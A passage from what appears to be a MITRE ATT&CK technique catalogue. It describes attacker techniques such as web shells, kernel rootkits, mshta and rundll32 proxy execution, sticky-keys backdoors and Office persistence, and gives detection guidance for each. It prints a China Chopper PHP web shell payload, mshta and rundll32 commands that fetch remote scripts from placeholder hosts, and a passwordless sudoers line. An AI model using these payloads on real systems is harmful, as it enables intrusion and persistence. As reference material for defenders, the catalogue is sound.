Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
Detection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.
Platforms: Linux, macOS, Windows
Data Sources: User interface, Process monitoring
Requires Network: Yes
Contributors: Itzik Kotler, SafeBreach
Links |
Data from Local System - T1005
Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.
Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.
Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process monitoring, Process command-line parameters
System Requirements: Privileges to access certain files and directories
Links |
Web Shell - T1100
A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)
Web shells may serve as Redundant Access or as a persistence mechanism in case an adversary’s primary access methods are detected and removed.
Detection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
<code><?php @eval($_POST['password']);></code>
Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server’s content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)
Platforms: Linux, macOS, Windows
Data Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow
Effective Permissions: User, SYSTEM
System Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.
Links |
Kernel Modules and Extensions - T1215
Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)
Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)
Detection: LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package.
Adversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)
On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code>
On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>
Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe insmod lsmod rmmod modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)
For macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.
Platforms: Linux, macOS
Data Sources: System calls, Process Monitoring, Process command-line parameters
Permissions Required: root
Contributors: Jeremy Galloway, Red Canary
Service Registry Permissions Weakness - T1058
Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Twitter Service Recovery Nov 2017)
Detection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Platforms: Windows
Data Sources: Process command-line parameters, Services, Windows Registry
Effective Permissions: SYSTEM
Permissions Required: Administrator, SYSTEM
System Requirements: Ability to modify service values in the Registry
Contributors: Matthew Demaske, Adaptforward, Travis Smith, Tripwire
Links |
https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx |
Mshta - T1170
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>
They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>
Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)
Detection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.
Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.
Platforms: Windows
Data Sources: Process monitoring, Process command-line parameters
Defense Bypassed: Application whitelisting
Permissions Required: User
Remote Support: No
Contributors: Ricardo Dias, Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
Windows Admin Shares - T1077
Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>.
Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)
The Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)
Detection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.
Platforms: Windows
Data Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring
Permissions Required: Administrator
System Requirements: File and printer sharing over SMB enabled. Host/network firewalls not blocking SMB ports between source and destination. Use of domain account in administrator group on remote system or default system admin account.
Links |
Winlogon Helper DLL - T1004
Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013) * Winlogon\Notify - points to notification package DLLs that handle Winlogon events * Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on * Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.
Detection: Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Platforms: Windows
Data Sources: Windows Registry, File monitoring, Process monitoring
Permissions Required: Administrator, SYSTEM
Contributors: Praetorian
Links |
https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order |
Dylib Hijacking - T1157
macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.
A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X) If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.
Detection: Objective-See’s Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.
Platforms: macOS
Data Sources: File monitoring
Effective Permissions: Administrator, root
Permissions Required: User
Links |
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf |
Remote Services - T1021
An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.
Detection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.
Platforms: Linux, macOS, Windows
Data Sources: Authentication logs
System Requirements: Active remote service accepting connections and valid credentials
Links |
Accessibility Features - T1015
Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)
Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:
For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)
*On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code> *Magnifier: <code>C:\Windows\System32\Magnify.exe</code> *Narrator: <code>C:\Windows\System32\Narrator.exe</code> *Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code> *App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>
Detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options</code>.
Platforms: Windows
Data Sources: Windows Registry, File monitoring, Process monitoring
Effective Permissions: SYSTEM
Permissions Required: Administrator
Contributors: Paul Speulstra, AECOM Global Security Operations Center
Links |
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom |
http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ |
Taint Shared Content - T1080
Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary’s code on a remote system. Adversaries may use tainted shared content to move laterally.
A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user’s expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)
Detection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.
Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.
Platforms: Windows
Data Sources: File monitoring, Process monitoring
Permissions Required: User
System Requirements: Access to shared folders and content with write permissions
Contributors: David Routin
Links |
https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html |
Drive-by Compromise - T1189
A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user’s web browser is targeted for exploitation. This can happen in several ways, but there are a few main components:
Multiple ways of delivering exploit code to a browser exist, including: * A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, cross-site scripting. * Malicious ads are paid for and served through legitimate ad providers. * Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).
Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)
Typical drive-by compromise process: # A user visits a website that is used to host the adversary controlled content. # Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. #* The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes. # Upon finding a vulnerable version, exploit code is delivered to the browser. # If exploitation is successful, then it will give the adversary code execution on the user’s system unless other protections are in place. #* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.
Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.
Detection: Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it’s registered to, if it’s on a known bad list, or how many other users have connected to it before.
Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.
Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.
Platforms: Linux, Windows, macOS
Data Sources: Packet capture, Network device logs, Process use of network, Web proxy, Network intrusion detection system, SSL/TLS inspection
Permissions Required: User
Links |
External Remote Services - T1133
Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally.
Adversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.
Detection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.
Platforms: Windows
Data Sources: Authentication logs
Permissions Required: User
Contributors: Daniel Oakley, Travis Smith, Tripwire
Links |
Application Deployment Software - T1017
Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.
Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
Detection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process use of network, Process monitoring
System Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)
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Hooking - T1179
Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via: * '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017) * '''Import address table (IAT) hooking''', which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) * '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process’s memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.
Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)
Hooking is commonly utilized by Rootkits to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)
Detection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)
Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.
Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
Platforms: Windows
Data Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs
Permissions Required: Administrator, SYSTEM
Port Knocking - T1205
Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable the port, the system expects a series of packets with certain characteristics before the port will be opened. This is often accomlished by the host based firewall, but could also be implemented by custom software.
This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.
The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
Detection: Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.
Platforms: Linux, macOS
Permissions Required: User
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Automated Collection - T1119
Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools.
This technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.
Detection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process command-line parameters, Data loss prevention
Permissions Required: User
System Requirements: Permissions to access directories and files that store information of interest.
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Security Support Provider - T1101
Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)
Detection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)
Platforms: Windows
Data Sources: DLL monitoring, Windows Registry, Loaded DLLs
Permissions Required: Administrator
Links |
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
Sudo - T1169
The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware).
Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.
Detection: On Linux, auditd can alert every time a user’s actual ID and effective ID are different (this is what happens when you sudo).
Platforms: Linux, macOS
Data Sources: File monitoring
Effective Permissions: root
Permissions Required: User
Links |
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ |
Office Application Startup - T1137
Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.
===Office Template Macros===
Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)
Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)
Word Normal.dotm location:<code>C:\Users\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>
Excel Personal.xlsb location:<code>C:\Users\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>
An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.
===Office Test===
A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)
<code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>
===Add-ins===
Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)
Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)
Detection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.
Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)
Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.
Platforms: Windows
Data Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring
Permissions Required: User, Administrator
System Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016 Add-ins: some require administrator permissions
Contributors: Ricardo Dias, Loic Jaquemet
Rundll32 - T1085
The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.
Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.
Platforms: Windows
Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring
Defense Bypassed: Anti-virus, Application whitelisting
Permissions Required: User
Remote Support: No
Contributors: Ricardo Dias, Casey Smith
Links |
https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ |
Network Sniffing - T1040
Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.
